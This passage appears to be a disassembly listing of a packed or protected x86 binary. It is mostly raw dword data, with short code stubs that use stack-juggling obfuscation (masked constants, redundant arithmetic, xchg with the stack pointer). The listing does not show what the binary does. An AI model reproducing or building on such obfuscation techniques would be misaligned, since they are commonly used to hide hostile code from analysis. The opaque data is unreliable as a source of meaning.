		dd 12D9C58Eh, 0BA3BC19Bh, 0E139983Fh, 0FB27F06Bh, 5DEFFD7Ch
		dd 582369Eh, 714BBCB7h,	0D0E86FEBh, 0C33C8342h,	4F04EE61h
		dd 5C98E693h, 437FE1E0h, 72F0CD90h, 0F24F051Eh,	60A5401h
		dd 0D6F970E7h, 8A0D8E4Ch, 0C088DA90h, 0A4FE7547h, 3023B932h
		dd 9F5FEDFFh, 2B24860h,	0A3153785h, 3B3C8531h, 7FB0E333h
		dd 0CA369C6Dh, 0D0D0BA02h, 9D00BB31h, 0D072E43Eh, 1FAD9E19h
		dd 0A82F6B24h, 0C3A49B31h, 434F05E4h, 0A6441493h, 8924B433h
		dd 0C339F131h, 1370B9F9h, 442E15C8h, 0A6h, 49C07793h, 0E66CCC73h
		dd 21A84F04h, 0E669CB34h, 8CB4F04h, 0F76785D7h,	31996078h
		dd 0DF5810F1h, 0E42CBEEAh, 14C9562Dh, 1872Eh, 77D60000h
		dd 6AED6DC3h, 0C822A339h, 0E40E7BD8h, 6306066Fh, 44E60945h
		dd 0D8530561h, 9C865380h, 5AB342DCh, 4534EA15h,	91EE4D10h
		dd 4F05D493h, 6775DE11h, 0DC8113C5h, 60E75281h,	186A2D36h
		dd 5D44527h, 374A74Fh, 0EE60FACEh, 13C56775h, 9179C098h
		dd 7B455991h, 0E562D637h, 11B338E2h, 0CD44095Bh, 0B91344FFh
		dd 5736598Ah, 0B10B8E4Bh, 1D364882h, 34FAB788h,	0C677725Bh
		dd 0DA9E844Bh, 7642C574h, 33088FDh, 70F80256h, 0F2C8E5F7h
		dd 73EE6F8Eh, 8601B66Ch, 26A12832h, 3F63C792h, 14CF7DF6h
		dd 6EEE2Eh, 0CC290000h,	0E612106Dh, 0A1924F04h,	852BAAF4h
		dd 546459D0h, 348403B6h, 0BD5C441Eh, 41E8138h, 7882D651h
		dd 809A7DF6h, 0CB7850CBh, 2BFF4A0Eh, 0CF452EE7h, 64B62E14h
		dd 0E1000000h, 844BC677h, 0FDA0DF9Eh, 4E5A280h,	4D1024Fh
		dd 8700B654h, 878B5135h, 9578F766h, 8451C88Dh, 0D59882E1h
		dd 7547C273h, 0F5CA8DFEh, 4F04E677h, 4902F5h, 7444C377h
		dd 4E66EF3h, 0FE22B84Fh, 14C94C37h, 89F6552Eh, 4F04D9ABh
		dd 520DC609h, 0Fh, 24A31773h, 0B7574694h, 0AE8911E9h, 773B907Dh
		dd 218047C2h, 4E65EDCh,	0B01DDE4Fh, 0D2550218h,	0D153AC73h
		dd 534F04E5h, 0C5A537E0h, 67D2337Fh, 0DD8AFDE0h, 0E672F0CDh
		dd 93F24F04h, 4E5D052h,	0B6EB2C4Fh, 54BD8245h, 0A054E911h
		dd 871E6176h, 1D4E7615h, 0BF3EBD4Fh, 260479D8h,	8654E907h
		dd 3DE5F855h, 0BAAD3FBEh, 54E906B6h, 0AB4AB614h, 54D7842Ch
		dd 7E56BC63h, 15EDE48Bh, 1AAD66h, 250DD04Bh, 1FA9D717h
		dd 0DDFF586Dh, 0BB11884Fh, 0E545C2Eh, 9725A614h, 2097F35Ch
		dd 6FD426A9h, 7033F972h, 3EFDAC1Ah, 937CDBE3h, 13524h
		dd 6FD87300h, 0E624067Fh, 4F804F04h, 5D4ABB1Ah,	3954E903h
		dd 9358E2F6h, 2EAD7518h, 5EB41DAFh, 0DCB57333h,	54BE1B8Ch
		dd 0B65464E7h, 2A308807h, 879D2FA8h, 6E3DF53Dh,	644E141Ch
		dd 3FB6B330h, 0B3DFB823h, 30028504h, 33F98953h,	4A84h
		dd 79462500h, 54E999FBh, 0FCDDB679h, 12106DCCh,	924F04E6h
		dd 4505F4A1h, 853708CFh, 0E74F04E6h, 0E5DB59A6h, 96594F04h
		dd 52D017A5h, 0F14F04E6h, 0E3A7E929h, 0DBC7A669h, 19CA9E19h
		dd 0E64577BCh, 0F4274F04h, 9C12D1h, 0D8450000h,	0F02AED6Fh
		dd 0B312FF78h, 0E8F69172h, 9E2AED54h, 494CCF8Ch, 3CE31AD1h
		dd 0A0C0755Dh, 86044926h, 0E8FDDB59h, 3D965954h, 0FEC5A89Fh
		dd 15F754E8h, 0CC4F0CEDh, 8301FEC9h, 7DABE3DCh,	8125AD3h
		dd 40F3C942h, 4CC2A09Dh, 0F1224F13h, 3599A24h, 14FB72F9h
		dd 48E25DB5h, 0C5228A64h, 12E79E9Ch, 70DD1E4Fh,	9512C258h
		dd 0C3A19EC7h, 214F12E7h, 0A72094EEh, 0A2EEB415h, 8888526Ah
		dd 0C48B09C6h, 0FD67A3FBh, 0BF1ED154h, 6385E7D8h, 34E754E9h
		dd 852E43DAh, 0BD169AB9h, 6FD8BD2Ah, 81D52AEDh,	0FF54EF65h
		dd 0D99EAC3Ch, 0E393FF5Eh, 73AB59BCh, 75546B24h, 632CAF2Dh
		dd 0A339B027h, 0BE1416BCh, 0D6510696h, 7BF47882h, 8989D361h
		dd 72A82D41h, 0D77547C0h, 1ED5E762h, 3A66602Dh,	7B41CDBh
		dd 7DFA7A84h, 9B5D4508h, 0A10B760h, 2F0BCA4Dh, 7EA92413h
		dd 0BC1CF936h, 3CAA2CAEh, 8B38AEA7h, 5B314793h,	359A8B3h
		dd 5822FACEh, 0BB32B958h, 0CE490E14h, 33BFAh, 6620000h
		dd 4DC47751h, 0EF6EED7Fh, 0E894FDDh, 0B32CA0BAh, 0D7520319h
		dd 7BF66785h, 9E19DB61h, 3EB930CAh, 5FD890AAh, 3D68B30Dh
		dd 89000038h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		push	5EA7F37h
		pop	esi
		mov	ebp, esi
		pop	esi
		push	57B8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebp
		push	ebp
		mov	ebp, 8E82797h
		sub	[esp+4], ebp
		pop	ebp
		pop	dword ptr [edi+8]
		add	dword ptr [edi+8], 8E82797h
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		db 0E7h, 6Dh, 39h
		dd 0EA8415B8h, 0FFC50305h, 367645E0h, 76F21A67h, 0DFBCFB00h
		dd 3CBFF545h, 7911E916h, 7D1B4F48h, 0CDD1176Dh,	170E1023h
		dd 9380E91Dh, 88085C36h, 4F73BE69h, 5C8D8D15h, 6A05EA85h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 14A4C356h, 0A54ABE66h, 89F1BF0Fh,	0E410958Dh
		dd 0C28B6605h, 2C6585C7h, 5EAC05E4h, 0B8660000h, 9589AE9Dh
		dd 5E42AA5h, 30FD85C7h,	5E4h, 20BF0000h, 0FF3C8148h, 0E431EDB5h
		dd 15953105h, 0FF05E41Eh, 0E42A6195h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 66CD9FE6h, 6AFA8Bh, 10C195FFh, 0C08B05E4h, 0CA872CEBh
		dd 69331021h, 1F3BBA93h, 9BE18FBh, 9E3AAA6Bh, 4039A0CFh
		dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h,	1A2861CBh
		dd 8D8D9C00h, 5EA8648h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 77C35343h, 0CF13FA13h, 1265CBCFh, 0CD9D8BAEh
		dd 8905E422h, 0E42CD59Dh, 958D8905h, 0F505E410h, 2C6585C7h
		dd 730405E4h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B545BBC3h, 9F1F3FABh, 8EB7BE8Ch
		dd 820F0F1Eh, 0
		dd 30FD85C7h, 5E4h, 8B660000h, 0DB5FFD9h, 6A05E424h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A728C352h, 0D0B651Ah, 8E88070h, 2A6195FFh, 6A05E4h
		dd 10C195FFh, 0C08B05E4h, 765239EBh, 873788A7h,	5A769BFh
		dd 0D144A311h, 2AD8BDA7h, 0F69A399Ah, 368B392Dh, 9B08E486h
		dd 0A1459FEEh, 4647A7CBh, 801D651Ch, 0C55A1688h, 688E87E0h
		dd 4599C878h, 0E8F12EFBh, 0Eh, 5312E86Fh, 1D503ADCh, 3D21215Dh
		dd 9D330650h, 5E407DDh,	0D88B5359h, 0C3C1815Bh,	29000072h
		dd 0E4141DB5h, 0BE05h, 81660000h, 8BEEC2C3h, 0BE93114h
		dd 86000000h, 64A044C4h, 64D430C0h, 0EA81F2C4h,	359DFD6h
		dd 0F308EA81h, 0BB662378h, 0F281F5B5h, 12029CCDh, 14E8h
		dd 0EE4D2E00h, 152DDA59h, 0F68451C5h, 5A2D11E7h, 2BA5FB6Ah
		dd 0B5896039h, 5E41E0Dh, 61DEB70Fh, 3114895Fh, 6800Fh
		dd 95090000h, 5E423F5h,	0EE81FA8Bh, 0DCA577Ch, 6E9h, 0F255D900h
		dd 8177C908h, 0CA5778C6h, 0F0BB660Dh, 2CFE81B6h, 0FFFFF8Eh
		dd 1C85h, 0CCDF8100h, 0E9639F3Fh, 33h, 0FB3DFA5Dh, 8D140AE6h
		dd 25F004h, 0B9053FF1h,	68D0F2Ch, 9000000h, 0E4110995h
		dd 0FF4DE905h, 0B881FFFFh, 3EC07292h, 91388892h, 0CB41D8AAh
		dd 0E8E28507h, 12h, 0FE6B1D7Eh,	6F25D9D1h, 76DB08A4h, 0EF37607Eh
		dd 13E9E6D7h, 0D000000h, 0FD374E55h, 22AC3641h,	0B1337849h
		dd 2C6962E7h, 895850ACh, 0E423D59Dh, 0C08105h, 0BE000061h
		dd 7743EF6Ch, 0F762F681h, 0BF667743h, 30FF7953h, 0B5DF8166h
		dd 890F5925h, 6, 1A50D781h, 0F18145FCh,	61E69958h, 0CE981FCh
		dd 2310F64Dh, 0E4119D9Dh, 7EC18105h, 0E93E01A3h, 0Eh, 94768102h
		dd 1838897Bh, 0E0C92B55h, 8F51395Bh, 0D99D8B00h, 8305E410h
		dd 20BF04E8h, 83315C5Ah, 850F01EEh, 13h, 0E9EDEA80h, 24h
		dd 0D682B6FEh, 1ED6DEEAh, 8B22373Dh, 0E429A195h, 0FF88E905h
		dd 0DAE2FFFFh, 0E9B68718h, 0A5E073CAh, 0C5B557A2h, 89568D8Dh
		dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 9D8949C3h, 5E4313Dh, 10958D89h, 6A05E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 6573C5C3h, 8BCDD10Ah, 0E4277195h, 0E9B58B05h, 0C705E41Ch
		dd 0E42C6585h, 6AC405h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 59E36D41h, 0F5858905h
		dd 8B05E411h, 0E40C95B5h, 0FD85C705h, 5E430h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 77BBC350h, 0C7BF0F53h, 8DB5FF5Eh,	8905E407h
		dd 0E40D358Dh, 29BD8B05h, 0FF05E428h, 0E42A6195h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0B8A9DF33h, 0FF820EAh, 0B58BF6BFh, 5E41AC1h,	95FF006Ah
		dd 5E410C1h, 7FEBC08Bh,	0BBC16901h, 0FE63EACDh,	6BE5E399h
		dd 0FE77466h, 8B746AADh, 60251023h, 0CE36E314h,	7310E141h
		dd 153067C6h, 0DC521BEAh, 9D57DA0Bh, 751F35DBh,	3E0AB094h
		dd 3E2B8434h, 8948616Bh, 0C2992FDFh, 0DD5F65F6h, 2B2286CCh
		dd 0B8FF28ECh, 329E8770h, 5C16E28Dh, 1A05167Dh,	5E6F3F3Bh
		dd 70E8AF3h, 0C013852Eh, 0C16D3FC9h, 3C34A57h, 0C8F3843Ch
		dd 3311758Ah, 0EE73B898h, 7763D9E7h, 0E8AE1C61h, 0Eh, 7271BFDFh
		dd 69F25C7Dh, 80163E5Ch, 0EE8EF8Bh, 0AE000000h,	5C03A336h
		dd 0A81E9B98h, 85261303h, 0C9858BDBh, 5905E403h, 8D89605Ah
		dd 5E40F5Dh, 61F78B66h,	6D8EC281h, 0BFF80000h, 1B2Bh, 8A32FFF5h
		dd 6B05EC3h, 4191EE81h,	8D89517Ch, 5E40145h, 0B9F5EE81h
		dd 9D89662Dh, 5E426A5h,	0BF47F681h, 0AE97AD5h, 1B000000h
		dd 0D9893A47h, 457AB6Dh, 60328972h, 4119589h, 9D0305E4h
		dd 5E40D5Dh, 0BEA8161h,	293BA5D3h, 0E40D1DB5h, 7C28105h
		dd 8B3BA5D3h, 0E421F19Dh, 1EF8305h, 15850Fh, 852B0000h
		dd 5E40995h, 35E9h, 3C903B00h, 0B5AB483h, 50208348h, 0F8D0Fh
		dd 9E80000h, 0D000000h,	816DFF43h, 714218AFh, 6AE95B58h
		dd 0CBFFFFFFh, 243A5846h, 0FF791EFAh, 4A8C983h,	0EE80F2Dh
		dd 56000000h, 2D996040h, 2DE59592h, 330A4F26h, 79BD094Bh
		dd 5E05E416h, 1851958Bh, 0C68105E4h, 60A2h, 0CE96057h
		dd 69000000h, 0DDA6CD3Fh, 0FB34338Dh, 173BB1Fh,	0E42C698Dh
		dd 2B5B6105h, 6800FFFh,	8B000000h, 0E4318195h, 3734FF05h
		dd 0CAD7C3BAh, 29605836h, 0E429A995h, 0F8D0F05h, 0E8000000h
		dd 9, 2251BB75h, 592C64BCh, 81615EB8h, 0AA2AF2C0h, 48F08120h
		dd 89241087h, 0E41C1DBDh, 60C08105h, 89654C71h,	0E41F019Dh
		dd 0DE95005h, 35000000h, 0B231574Eh, 1F5AB0C4h,	0CCB965C0h
		dd 813E048Fh, 0CCACB0C1h, 0DE3803Bh, 8B04EF83h,	0E4231995h
		dd 58FF8105h, 0FFFFFA0h, 2285h,	6840F00h, 29000000h, 0E42DA185h
		dd 2BE905h, 0F4250000h,	5F23684Fh, 2C8B1F0Bh, 55C49D56h
		dd 8BC0193Fh, 0FF5FE9DAh, 0EB8FFFFFh, 65509256h, 60886AC9h
		dd 704C9951h, 0B0FEE8ABh, 34AC4234h, 7C2406A2h,	0B37D7AA2h
		dd 0D40FA33Bh, 0B42A2183h, 30259083h, 3025C46Fh, 0C998A786h
		dd 3020F68Eh, 305A8D89h, 8DA68486h, 35C14577h, 42A12E86h
		dd 0F6259086h, 0D40F0103h, 0BC4D6A83h, 0B1BE09EDh, 8CE92DB2h
		dd 85DAB7DFh, 35C14A7Fh, 5D15A40Bh, 0E0DA9561h,	0B5E3B80Dh
		dd 35C10ECFh, 0B08F7AC8h, 34A49CCCh, 0C87312A2h, 0C190BD94h
		dd 0BD20C581h, 0D748A003h, 0BBF5B783h, 30359D7Eh, 38CC1286h
		dd 96250986h, 302B0189h, 3B6C4286h, 0C0A02E4Fh,	0D9DA6F79h
		dd 3025488Bh, 7C15B90Bh, 359D1762h, 0CF250986h,	0F8980965h
		dd 0BD20A80Dh, 0DAA9A70Bh, 15372883h, 0FF0ECEB6h, 34AC4247h
		dd 7C2406A2h, 0B37D7AA2h, 0D40FA33Bh, 0B42A2183h, 30259083h
		dd 3025C46Fh, 8398A786h, 0A4F305E9h, 22B9h, 8E800h, 4F860000h
		dd 0A2E91E6Ah, 9589E333h, 5E41DC1h, 0CDC7805Eh,	72E8C681h
		dd 0F3800000h, 0BAFF33E1h, 67EB5B7h, 603734FFh,	29D3BF0Fh
		dd 0E400A99Dh, 31586105h, 0E4135DBDh, 0DDC08105h, 8923DA55h
		dd 0E41121BDh, 0AF08105h, 0FC6986BAh, 2E39E881h, 81664985h
		dd 89118CCAh, 0DB813E04h, 0BD7C80Ch, 28D0Fh, 0CB8B0000h
		dd 0AC28EF81h, 6B91DB8h, 8145CA05h, 0B8AC24C7h,	0FF81FC1Dh
		dd 0FFFF8DC8h, 18850Fh,	8D890000h, 5E40D79h, 25E9h, 32E51800h
		dd 840EEA2h, 89412687h,	6E9ABB6h, 3D000000h, 0A55E49D0h
		dd 0FF76E990h, 8B73FFFFh, 774FC930h, 8D8DF02Dh,	5EA8E75h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C4C35141h
		dd 91DB79B2h, 5C53926Bh, 21D9BD89h, 8D8905E4h, 5E41095h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FDC35343h
		dd 69BD8BC7h, 0C705E42Bh, 0E42C6585h, 637805h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 5D15B5A7h, 958B8EA9h, 5E4221Dh, 30FD85C7h, 5E4h, 6A0000h
		dd 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A2B325C3h
		dd 0EE7C74E5h, 7D8D893Ah, 0FF05E42Eh, 0E4005DB5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 8F768AABh, 0BABBE5F3h, 4E5506EEh, 0CE9h, 62A8E700h
		dd 9EBB5C54h, 821EF51Eh, 0FFC28A2Eh, 0E42A6195h, 9858B05h
		dd 6A05E411h, 0C195FF00h, 8B05E410h, 806AEBC0h,	4E91D4CBh
		dd 10A070BBh, 5A4312F8h, 24B68820h, 0BD530936h,	45FCA02Ch
		dd 0BDC007E0h, 53568A8Bh, 64C94740h, 1A2F4A9Bh,	0CB2D885Dh
		dd 7063C403h, 4E4C4F98h, 0BCAE1FC8h, 920DEDF0h,	910D92B5h
		dd 0D2F79725h, 5E776A2Eh, 0BB4DFD8Bh, 4D118749h, 430729A7h
		dd 0AAA102B9h, 0D4E81108h, 4B693B5Ch, 9FCDAE9Eh, 0D8158E6Ah
		dd 0F604EB12h, 0E9315FDBh, 845h, 395CD798h, 0EFEE69E1h
		dd 9C038633h, 345BD486h, 0EDF06FEEh, 0A92C7D38h, 0C373AF2Eh
		dd 13D94144h, 0AE2DF598h, 0B211A82Fh, 0EF73EF4Dh, 603F4D54h
		dd 4E5CD52h, 0B82494Fh,	0C6443184h, 0FC7AA007h,	19F2617Bh
		dd 0E8F70BD8h, 0E5A86B54h, 200EBE8Dh, 0A962A4E9h, 0F478A223h
		dd 19F2617Bh, 0DEC178FDh, 0BD3D9744h, 69F3C93Ah, 44516BE2h
		dd 1CDB3A66h, 6DE03A9Dh, 0A06DE6F2h, 40562D1Dh,	668733F9h
		dd 20000000h, 0EDFF78FAh, 773C9D76h, 86E4D9C6h,	0E64F04E6h
		dd 0E9E8C035h, 7777D181h, 0AC7D96Ch, 86D24D00h,	72939FEBh
		dd 0F14144C3h, 2E150A92h, 34FBh, 6DCC1200h, 4E61210h, 0F4A1924Fh
		dd 1CAC2BAAh, 4E6462Bh,	0ADD5FD4Fh, 0B627894Ch,	41B2A13Bh
		dd 55D6849Eh, 6E03D507h, 9B783C65h, 1BDAEDA6h, 12h, 4BC67742h
		dd 0E66ACE71h, 2E84F04h, 0C37EFF1Eh, 6FD80BDCh,	0C0269EF4h
		dd 0B68F71E2h, 4F0598B4h, 598AFF30h, 0B04C89F6h, 0AC7354E9h
		dd 8A72F0CDh, 1F254E9h,	0E98A62C0h, 4411C254h, 59E3F93Ah
		dd 1BA3090h, 9851C9CCh,	0A11E4B61h, 0B7267C23h,	8ADE5911h
		dd 9F546459h, 968C5332h, 0DF14A423h, 3B9413C3h,	0CDA509FAh
		dd 26B2655Ah, 55B4FC46h, 0C4C27CE4h, 0A4362704h, 3B66C73h
		dd 41333484h, 804F0590h, 46ACF63Ah, 0A16AFFD8h,	2975DE19h
		dd 31A629A0h, 2BEA60D8h, 0E5F97B44h, 0B87B4F04h, 29C3B75Eh
		dd 0B01D0FE2h, 106DCC1Bh, 4F04E612h, 0E4F4A192h, 0AE36A5FDh
		dd 0FFCA3678h, 0FB0778F7h, 74EFFD7Ch, 0C077329Bh, 5B0C7049h
		dd 14C4D45Fh, 23052Dh, 7CA60000h, 0F96A7EF9h, 60D8BF1Ch
		dd 0F3CCDDEAh, 4F04E671h, 0CCAB00F3h, 47C2779Bh, 2C421576h
		dd 40h,	3BE6CC7Bh, 0C7E88D1Fh, 19CFAA67h, 0F3CC3A93h, 4F04E671h
		dd 0F6744928h, 764F04E5h, 5A9FC885h, 0CC9BCC0Dh, 0E612106Dh
		dd 0A1924F04h, 812FAAF4h, 4F1C51C8h, 12106DCCh,	924F04E6h
		dd 6FC8F4A1h, 7349C077h, 967DCCCh, 150DD04Fh, 1EDC26A1h
		dd 0BB14CF9Dh, 6149131Fh, 37A66830h, 0E73320B8h, 0EEAB3930h
		dd 11B437A4h, 0FFCD4409h, 5B71E86Dh, 72AB874Eh,	0A16BC8B2h
		dd 0BFF06BE1h, 698888D2h, 986A6DE4h, 2E18FDABh,	41DCh
		dd 0C0777B00h, 89467349h, 3E9A8C12h, 76ABE530h,	4EC98B97h
		dd 7CDD2285h, 0F854E9C2h, 0CE8FA537h, 29FF61D4h, 29DE9B88h
		dd 34F087Dh, 0D779FE1Fh, 2A087562h, 8A54E95Bh, 0BC231449h
		dd 9514C5DDh, 0C0779338h, 89467349h, 98E5440Bh,	4F04E59Ah
		dd 0A97CD91Ah, 0E903AB54h, 85488B54h, 0F5DDC9Dh, 2E0C71D4h
		dd 8E54E903h, 68FD804Dh, 0DDEA60D8h, 0C0776E39h, 0E688EADBh
		dd 33E44F04h, 5B0CE9FEh, 14C4D45Fh, 2B052Dh, 0D8500000h
		dd 0CCDDEA60h, 28E562D6h, 0E60A6855h, 0A96A4F04h, 779BCC10h
		dd 71EE6EC2h, 0DA9EE85Bh, 0E3D40F5Dh, 2C4215CAh, 2Ch, 0EA60D87Bh
		dd 71F3CCDDh, 0C24F04E6h, 0C474AE71h, 0CCC19643h, 0FBE6CC9Bh
		dd 7BF9C63Eh, 0F94F054Ch, 0BEFADC36h, 0FB7E9875h, 42156F7Ch
		dd 7349C077h, 967DCCCh,	0B416D84Fh, 7B518205h, 0DBF168E1h
		dd 0B6118841h, 1A6CA4ECh, 89EBD4BBh, 0EB4F0967h, 3F636F28h
		dd 6B719DEh, 0EB37568Bh, 9413C66Ah, 8EDA0FC4h, 6A7EF97Ch
		dd 0E6070B5Fh, 65D5F877h, 2E194A1Eh, 9AEC4BA7h,	88804F5Eh
		dd 5690CFh, 77C70000h, 88EADBC0h, 0E44F04E6h, 0EBEAFE33h
		dd 0D6833EBFh, 6528AA63h, 5CDE2786h, 0D84F04E6h, 0EFD43B17h
		dd 227B8516h, 14CB0869h, 0C12B54E9h, 0FC4940Fh,	0F5C742F3h
		dd 504A0D7Eh, 20A8659Eh, 12484812h, 0C0E47E38h,	0A0B22D2Ch
		dd 47FFDBD2h, 0EF2BE4DCh, 79EEF168h, 0E150C077h, 63E6538Fh
		dd 0CDB09A49h, 0A7356693h, 18FF7D2Ah, 0E9515A27h, 5679BA54h
		dd 0EA60D881h, 2F18CF2Bh, 6C4DD3AAh, 0D6CC2AA3h, 1CD7E562h
		dd 62B819B3h, 339875F2h, 7049C077h, 0E661D6CCh,	5FCD9A2Dh
		dd 2D14C4D4h, 5405h, 0FC7CA600h, 5662E552h, 2310A89Dh
		dd 0D6CC6176h, 62D1EB64h, 8EDA5518h, 4B31F855h,	0F3CCE8C1h
		dd 4F04E671h, 0CCAB00F3h, 104BCAE6h, 0BD16ADDDh, 0C277FDEAh
		dd 3D1F8B5Eh, 97C83C8Fh, 2C4215C6h, 4Bh, 7C79A58Dh, 27B0C5CFh
		dd 6D0688C4h, 0DCB9EA5Eh, 0EA60D8FFh, 71F3CCDDh, 0C24F04E6h
		dd 43F5D68h, 54B393Bh, 1E78BB4Fh, 0AEE39A48h, 61D6CC19h
		dd 0B461D2E6h, 0C27784D1h, 0DC9A8047h, 73D2015Bh, 4E63032h
		dd 8E4B8C4Fh, 774215C9h, 0CC7349C0h, 4F0967DCh,	0A5150DD0h
		dd 66ED4FB0h, 8C4F4F09h, 79D2015Bh, 130F555Dh, 0BFF620A7h
		dd 13BA21F1h, 995EB815h, 0EFF1DE07h, 94D9496h, 0F3DF104Fh
		dd 665B3E20h, 0BD3CBB67h, 0A3A7F0DAh, 4A970D1Dh, 219ECB81h
		dd 351DFCA3h, 0E668CEE6h, 0AAE45F6Dh, 0BF8037B5h, 4F098EBDh
		dd 0CE8BFC3Fh, 0ED98D8E1h, 547BBC54h, 2EA92D75h, 9B5DA99Ah
		dd 0D826B760h, 9514C360h, 1748C389h, 39983946h,	4E666C4h
		dd 0B631A64Fh, 42B53122h, 0C077C089h, 5B0C7049h, 14C4D45Fh
		dd 52052Dh, 7CA60000h, 0EF6D7FF8h, 1CE5347Fh, 8D46BB94h
		dd 0C360D8CCh, 27C59712h, 0B5AE3AB5h, 0CCBE0F40h, 0D7E562D6h
		dd 0DECB31Ch, 0E5D351AEh, 0B9314F04h, 8653843Eh, 4E5BBB9h
		dd 0E1F6394Fh, 0C2779BCCh, 0B4157647h, 0E68AE8D5h, 29EA4F04h
		dd 302C6F6Ch, 7B000000h, 1AF360D8h, 0B6B74011h,	0CC8A2314h
		dd 487356Dh, 0EDD2BFB4h, 4F04E68Fh, 308A02DCh, 6EF2F5D0h
		dd 9BCCAC3Dh, 7647C277h, 0E96EB415h, 7734A56Eh,	0CC7349C0h
		dd 4F0967DCh, 0D08AF6D0h, 34A20CCAh, 0F92A19B3h, 50AD70E3h
		dd 4F0966D2h, 0EA34E152h, 8E3BF36Dh, 0D47C09A1h, 94689EBh
		dd 0F728EB4Fh, 66BC0382h, 719D76F1h, 7C6943FAh,	615E0183h
		dd 54ED670Ch, 6AE557B3h, 0B3D205A1h, 0EA60D81Ah, 0C27DFF2Bh
		dd 3B907DF6h, 0C4399839h, 4F04E666h, 0CB631A6h,	0E4F473E2h
		dd 78513A6Fh, 7049C077h, 0C575AD0Ch, 5FC08942h,	2D14C4D4h
		dd 4B05h, 0DBC7A600h, 16CD9F1Ah, 4E64B29h, 894FA94Ch, 5B70DD0Eh
		dd 0DDEA60D8h, 0C264D6CCh, 0A399314h, 875083D9h, 0E65DDF20h
		dd 1CDF4F04h, 6EE961B9h, 8F08C05Ah, 0CCD8F15Ah,	5EC2779Bh
		dd 5E5860E2h, 3784F95Ah, 2C2C4215h, 7B000000h, 0DDEA60D8h
		dd 1066E6CCh, 4F8B0CCCh, 106AB4D1h, 5B88205Bh, 54D62FFEh
		dd 0E14F054Fh, 0DC91894Ch, 0CCE3E8A5h, 47C2779Bh, 0CC421576h
		dd 0E612106Dh, 74494F04h, 4F04E5F6h, 0D6198576h, 235A117Dh
		dd 0E163DC89h, 94435F3Eh, 0E67BB815h, 8E54E8EEh, 0DA2B8A4Dh
		dd 54E8EE58h, 17B663D4h, 0A669EBA4h, 0D37CBD59h, 95EABB5Ah
		dd 4F136B97h, 0ED4FB015h, 4F4F136Bh, 52665B8Ch,	2BA103C8h
		dd 0C2587FB0h, 0B83FBB15h, 1FFE3320h, 3C1F8633h, 8191E44Bh
		dd 3AA7C7EAh, 0B226F324h, 0C91B0E8Dh, 78B80283h, 0C072D299h
		dd 0BDBF8047h, 3F83C08Ah, 1E048BFCh, 708ADE59h,	0D57745FEh
		dd 48D2E661h, 0EBBF0D86h, 0FFC90101h, 4F0CED15h, 9A51C9CCh
		dd 9F56BC63h, 3ABC1D6h,	0FDCF4E0Dh, 44091546h, 0E94800CDh
		dd 3, 7751063Ch, 0ED7F4DC4h, 4FDDEF6Eh,	0A0BA0E89h, 319B32Ch
		dd 6785D752h, 0DB617BF6h, 30CA9E19h, 90AA3EB9h,	0B30D5FD8h
		dd 6DA68h, 243C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 8956243Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 2414895Ch, 0A968h, 24348900h, 0EA8EEFBEh, 5EF78905h
		dd 24148B54h, 4C481h, 0BD680000h, 89000011h, 428F243Ch
		dd 2434FF08h, 4C4815Ah,	0FF000000h, 835F2434h, 9BE904C4h
		dd 86FFF9E6h, 0B94B423Ah, 62CCF9BAh, 96BBB850h,	0C50305EAh
		dd 0C62AE0FFh, 9EE9558Eh, 0A2F60513h, 29720237h, 0F3BC4F6Fh
		dd 0B95416C9h, 73C617C4h, 49824C83h, 39467540h,	0AAE14ACEh
		dd 0D3EF5557h, 0F75101FDh, 820E3595h, 0BF1C43FFh, 0A0AD4A43h
		dd 9294815h, 392D2A20h,	2A20BE4h, 904F487Ch, 10D67C0Eh
		dd 0E61D15B4h, 3731D47h, 14E81259h, 37000000h, 0B8CA0C84h
		dd 0E30BF395h, 7A1299DFh, 89E5690Dh, 51136572h,	28B0Fh
		dd 5A500000h, 0C3BA595Ah, 81584803h, 67DEC1h, 0D0B70F00h
		dd 0BFh, 0E8605700h, 0Fh, 0C5545175h, 53D47DBAh, 0BD1A0F5Eh
		dd 5B3C38EDh, 1C8B5861h, 0C381F839h, 1FD888F2h,	0BE8h
		dd 0F915C900h, 84DC6535h, 6214D113h, 0AE9h, 321C6500h
		dd 210EFC53h, 5AD20C6Ch, 0E12EC381h, 0EE8027A2h, 4AC3811Fh
